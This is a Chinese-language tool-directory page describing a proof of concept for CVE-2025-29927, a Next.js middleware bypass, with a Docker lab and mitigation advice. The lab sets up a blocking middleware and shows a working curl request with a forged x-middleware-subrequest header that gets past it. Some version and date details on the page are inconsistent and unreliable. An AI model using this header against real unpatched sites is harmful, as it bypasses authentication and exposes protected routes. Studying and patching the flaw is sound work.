Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-29927-Nextjs-Bypass-PoC — 对于CVE-2025-29927的概念验证,演示了Next.js 13.5.9之前版本中的中间件绕过。 | Kitploit
工具/GitHubGitHub/danielhallbro/cve-2025-29927-nextjs-bypass-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证学习与教育
GitHubdanielhallbro/cve-2025-29927-nextjs-bypass-poc

CVE-2025-29927-Nextjs-Bypass-PoC

对于CVE-2025-29927的概念验证,演示了Next.js 13.5.9之前版本中的中间件绕过。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
1178个月前尚未审核
分享

PoC: CVE-2025-29927 - Next.js 中间件绕过

本仓库包含一个概念验证(PoC),演示了如何通过利用与内部 HTTP 标头相关的漏洞,绕过 Next.js (v13.5.6) 中的中间件安全检查。

漏洞概述:CVE-2025-29927

这是什么?

CVE-2025-29927 是一个 中间件绕过 漏洞,存在于 Next.js 1.11.4 及以下,以及 12.3.5、13.5.9、14.2.25 和 15.2.3 之前的版本中。它允许外部攻击者跳过开发者在 middleware.ts 文件中实现的安全逻辑——例如身份验证、机器人检测或地理位置重定向。

根本原因:标头信任

Next.js 使用内部 HTTP 标头在其不同架构层之间进行通信。其中一个标头是 x-middleware-subrequest。

该漏洞之所以存在,是因为易受攻击的 Next.js 版本即使该标头是由外部客户端(如浏览器或 curl)发送的,也会信任它。当服务器看到此标头时,它会假定该请求已经过中间件的处理并“清除”,因此完全跳过安全代码的执行。

影响

  • 身份验证绕过: 如果你的应用依赖中间件来检查登录令牌,攻击者可以绕过此检查访问受保护的页面。
  • 安全过滤规避: 任何旨在阻止恶意 IP 或用户代理的逻辑都会被忽略。
  • 信息泄露: 访问本应受限的内部路由。

环境设置

该实验室运行在 Node:18-alpine Docker 容器内,以确保环境干净且可重现。


步骤 1 – 创建容器

我们首先在后台启动一个命名容器。我们使用 sleep infinity 在配置期间保持容器运行。

我最初在后续阶段重启容器时遇到了一些问题,因此我决定使用 sleep infinity。

docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
步骤 1

步骤 2 – 安装 Next.js 13.5.6

我们安装特定的易受攻击版本的 Next.js。请注意,尽管使用了 --src-dir false 标志,框架仍会创建 src 目录,我们必须将中间件放置在其中才能使其生效。

docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
步骤 2.1
步骤 2.2

步骤 3 – 创建“守门人”(中间件)

为了模拟安全屏障,我们创建一个 middleware.ts 文件。该中间件配置为以 401 Unauthorized 状态 阻止所有传入请求。

# 进入容器 shell
docker exec -it CVE-2025-29927-Lab sh

# 在 src 目录中创建中间件文件(一条长命令)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
步骤 3

步骤 4 – 启动服务器

启动开发服务器,等待控制台中出现 ✓ Ready 信号。

# 仍在步骤 3 的容器 shell 中 - 运行以下命令。
cd lab && npm run dev
步骤 4

步骤 5 – 验证与利用

在宿主机上打开一个新的终端窗口(不要关闭之前的终端),使用 curl 测试环境。

1. 正常请求(被阻止)

未修改标头的标准请求会被我们的中间件正确捕获并阻止。

curl.exe -I http://localhost:3000/
# 预期响应:HTTP/1.1 401 Unauthorized

2. 通过 CVE-2025-29927 绕过(利用)

通过注入内部标头 x-middleware-subrequest: src/middleware,我们欺骗 Next.js,使其认为该请求已由内部进程验证。服务器跳过中间件执行并授予完全访问权限。

curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# 预期响应:HTTP/1.1 200 OK
步骤 5

缓解措施

为了保护你的应用程序免受 CVE-2025-29927 的攻击,你应该将 Next.js 升级到与你当前主版本相对应的已修补版本:

1. 推荐更新

该漏洞已在以下版本中修复。确保你的 package.json 至少引用以下版本:

  • Next.js 15: 升级到 15.2.3 或更高版本。
  • Next.js 14: 升级到 14.2.25 或更高版本。
  • Next.js 13: 升级到 13.5.9 或更高版本(本 PoC 中使用的版本)。
  • Next.js 12: 升级到 12.3.5 或更高版本。
# 更新到最新修补版本的示例
npm install next@latest

2. 基础设施级别防御

如果无法立即升级,你应该配置 Web 应用防火墙(WAF)或反向代理(例如 Nginx、Cloudflare 或 Varnish),以剥离或丢弃所有传入外部请求中的 x-middleware-subrequest 标头,然后再将其发送到 Next.js 应用服务器。

3. 验证

升级后,你可以通过重新运行步骤 5 中的利用命令来验证修复。当存在伪造标头时,已修补的服务器将不再返回 200 OK。


结论

此漏洞存在的原因是 Next.js 信任客户端标头来识别内部子请求。为了缓解此漏洞,应将 Next.js 更新到能正确验证或从外部传入流量中剥离这些内部标头的版本。

免责声明:本 PoC 仅用于教育目的。

参考

  • NVD 官方条目: CVE-2025-29927 详情 - 确认受影响版本为 13.5.1 至 13.5.8 以及 13.5.9 修复。
  • GitHub 安全公告: GHSA-65p9-6799-7872 - 关于中间件绕过的原始公告。
  • Next.js 安全发布: Next.js 博客 - 安全补丁的官方公告。
下载工具